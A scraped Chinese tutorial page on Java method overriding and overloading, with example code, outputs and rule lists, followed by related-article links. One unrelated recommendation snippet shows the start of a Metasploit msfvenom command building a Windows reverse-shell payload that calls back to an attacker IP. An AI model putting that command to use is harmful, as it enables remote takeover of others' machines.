Java之旅_面向对象_重写和重载
参考并摘自:http://www.runoob.com/java/java-override-overload.html
重写(Override)
子类对父类(允许访问的)方法的实现过程进行重新编写,形参和返回值都不能变。即外壳不变,核心重写。
重写不能抛出比父类更宽泛的异常。
class Animal{
public void eat(int n){
System.out.println("Animal eat:"+n);
}
}
class Dog extends Animal{
public void eat(int m){
System.out.println("Dog eat:"+m);
}
}
public class Test{
public static void main(String[] args){
Animal animal = new Animal();
Animal dog = new Dog(); //注释行
animal.eat(10);
dog.eat(20);
}
}
运行结果:
Animal eat:10
Dog eat:20
上面注释一行尽管dog是Animal类型,但它运行的是Dog类的eat方法。
这是由于编译时,只检查参数的引用类型;运行时指定对象的类型并运行对象的方法 。
方法的重写规则:
1.参数列表和返回类型必须和被重写的相同
2.访问权限不能比父类更低
3.父类的成员方法只能被它的子类重写
4.声明为final方法不能被重写
5.声明为static方法不能被重写,但能够被再次声明
6.子类和父类在同一包中,则子类可以重写所有(除private和final)的方法
7.子类和父类不在同一包中,则子类可以重写声明为public和protected并且非final的方法
8.重写的方法可以抛出任何非强制异常,无论被重写的方法是否抛出异常。但是,重写的方法不能抛出新的强制性异常,
或者比被重写方法声明的更广泛的强制性异常,反之则可以。
9.构造方法不能被重写
10.如果不能继承一个方法,则不能重写这个方法
重载(Overload):
重载是在一个类里面,方法名相同而参数不同。
返回类型可以相同也可以不同。重载方法必须有一个独一无二的参数类型列表。
最常用的就是构造器的重载
重载规则:
1.必须改变参数列表(参数个数或类型或顺序不一样)
2.可以改变返回类型
3.可以改变访问修饰符
4.可以声明新的或更广的检查异常
5.方法能够在同一个类中或者在一个子类中被重载
public class Test{
public int test(){
System.out.println("test1");
return 1;
}
public void test(int a){
System.out.println("test2");
}
public void test(int a,String b){
System.out.println("test3");
}
public void test(String a,int b){
System.out.println("test4");
}
public static void main(String[] args){
Test o = new Test();
o.test();
o.test(1);
o.test(1,"a");
o.test("a",1);
}
}
//运行结果:
test1
test2
test3
test4
总结:
重载和重写是java多态性的不同表现,方法重载是一个类的多态性表现,而方法重写是子类与父类的一种多态性表现。
Java之旅_面向对象_重写和重载的更多相关文章
- Java之旅_面向对象_抽象类
参考并摘自:http://www.runoob.com/java/java-abstraction.html Java抽象类: 在面向对象的概念中,所有的对象都是通过类来描绘的,但是反过来,并不是所有 ...
- Java之旅_面向对象_封装
参考并摘自:http://www.runoob.com/java/java-encapsulation.html 在面向对象的程序设计方法中,封装(英语 :Encapsulation)是指一种将函数接 ...
- Java入门 - 面向对象 - 02.重写与重载
原文地址:http://www.work100.net/training/java-override-overload.html 更多教程:光束云 - 免费课程 重写与重载 序号 文内章节 视频 1 ...
- Java基础(七):重写与重载
一.重写(Override): 重写是子类对父类的允许访问的方法的实现过程进行重新编写, 返回值和形参都不能改变.即外壳不变,核心重写! 重写的好处在于子类可以根据需要,定义特定于自己的行为. 也就是 ...
- Java之旅_面向对象_多态
参考并摘自:http://www.runoob.com/java/java-polymorphism.html 多态 多态是一个行为具有多个不同表现形式的能力. 多态就是同一个接口,使用不同的实例而执 ...
- Java之旅_面向对象_包(Package)
http://www.runoob.com/java/java-package.html 包的作用: 1.把功能相似或相关的类或接口组织在同一个包中,方便类的查找和使用. 2.如同文件夹一样,包也采用 ...
- Java之旅_面向对象_接口
参考摘自:http://www.runoob.com/java/java-interfaces.html 接口(interface)在Java中是一个抽象类型,是抽象方法的集合. 一个类通过imple ...
- java语言基础(四)_面向对象_类_对象_封装_构造
面向对象 Java语言是一种面向对象的程序设计语言,而面向对象思想是一种程序设计思想,我们在面向对象思想的指引下,使用Java语言去设计.开发计算机程序. 这里的对象泛指现实中一切事物,每种事物都具备 ...
- Python-老男孩-02_装饰器_面向对象_封装_继承_异常_接口_数据库
装饰器其实也是一个函数,它的参数是一个函数 ; 其它函数与装饰器之间建立联系是通过 @装饰器函数名, 感觉有点像Spring的面向切面编程 装饰器函数,如何处理原函数的参数.? 装饰器 原函数返回值 ...
随机推荐
- Msf提权步骤
1.生成反弹木马(脚本,执行程序) msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=&l ...
- Android Launcher分析和修改3——Launcher启动和初始化
前面两篇文章都是写有关Launcher配置文件的修改,代码方面涉及不多,今天开始进入Launcher代码分析. 我们开机启动Launcher,Launcher是由Activity Manager启动的 ...
- Java知多少(31)static关键字以及Java静态变量和静态方法
static 修饰符能够与变量.方法一起使用,表示是“静态”的. 静态变量和静态方法能够通过类名来访问,不需要创建一个类的对象来访问该类的静态成员,所以static修饰的成员又称作类变量和类方法.静态 ...
- USB学习笔记连载(二十一):CY7C68013A进行数据传输(一)
官方手册中给出了bulkloop参考例程,此例程是PC从端口2发送出数据,然后从端口6接收到数据,那么根据这个思想,可以进行修改,使得PC机接收到的数据不是从EP2发送过来的,而是从外部逻辑,比如FP ...
- Docker孵化的5个开源项目
版权声明:本文为博主原创文章.未经博主同意不得转载. https://blog.csdn.net/M2l0ZgSsVc7r69eFdTj/article/details/81977243 回想过去短短 ...
- 开源项目收集:博客系统solo
前言 一个好的项目,我不会吝啬于推荐之语.找了好久,想要一个最简单的个人博客.由于个人不怎么会写前端页面,怎么也看不到漂亮的设计.没有漂亮的前台都不知道后台需要写一些什么! 这个项目至少目前满足了我的 ...
- SpringSecurity兑现多登录成功页面和登录成功返回被拦截界面
SpringSecurity实现多登录成功页面和登录成功返回被拦截界面 使用SrpingSceurity作为认证和授权的安全框架可以省下很多基础工作. 具体可以参考SpringSecurity,这里不 ...
- Python 函数(参数组合)
在Python中定义函数,可以用必选参数.默认参数.可变参数和关键字参数,这4种参数都可以一起使用,或者只用其中某些,但是请注意,参数定义的顺序必须是:必选参数.默认参数.可变参数和关键字参数 定义一 ...
- python网络编程之UDP方式传输数据
UDP --- 用户数据报协议(User Datagram Protocol),是一个无连接的简单的面向数据报的运输层协议. UDP不提供可靠性,它只是把应用程序传给IP层的数据报发送出去,但是并不能 ...
- 4G 通信模块在ARM 平台下的应用
收藏 评论(0) 分享到 微博 QQ 微信 LinkedIn 4G模块是连接物与物的重要载体,是终端设备接入物联网的核心部件之一,随着4G的普及,许多新兴市场对4G通信模块的需求都在日益扩大,那么在A ...